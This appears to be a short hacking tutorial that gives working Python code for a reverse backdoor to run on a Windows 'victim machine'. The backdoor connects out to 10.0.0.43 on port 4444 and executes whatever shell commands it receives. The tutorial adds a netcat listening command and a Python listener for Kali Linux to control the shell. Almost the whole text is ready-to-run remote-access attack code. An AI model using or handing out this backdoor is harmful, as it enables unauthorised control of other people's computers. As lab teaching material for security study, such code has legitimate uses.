Write the Reverse backdoor Python script and execute on Windows machine. (Victim machine)

#!/usr/bin/env python

import socket

import subprocess

def execute_system_command(command):

    return subprocess.check_output(command, shell=True)

connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connection.connect(("10.0.0.43", 4444))

connection.send(b"\n[+] Connection established.\n")

while True:

    command = connection.recv(1024).decode()

    command_result = execute_system_command(command)

    connection.send(command_result)

connection.close()

Run the listening progress on the Kali Linux to establish the connection and execute the system commands.

nc -vv -l -p

Write and execute the Python Listener:

#!/usr/bin/env python

import socket

listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

listener.bind(("10.0.0.43", 4444))

listener.listen(0)

print("[+] Waiting for incoming connections")

connection, address = listener.accept()

print("[+] Got a connection from " + str(address))

while True:

    command = input(">> ").encode()

    connection.send(command)

    result = connection.recv(1024).decode()

    print(result)
